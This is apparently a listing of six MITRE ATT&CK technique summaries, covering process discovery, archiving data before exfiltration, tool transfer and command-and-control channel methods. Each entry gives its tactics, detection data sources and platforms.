Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre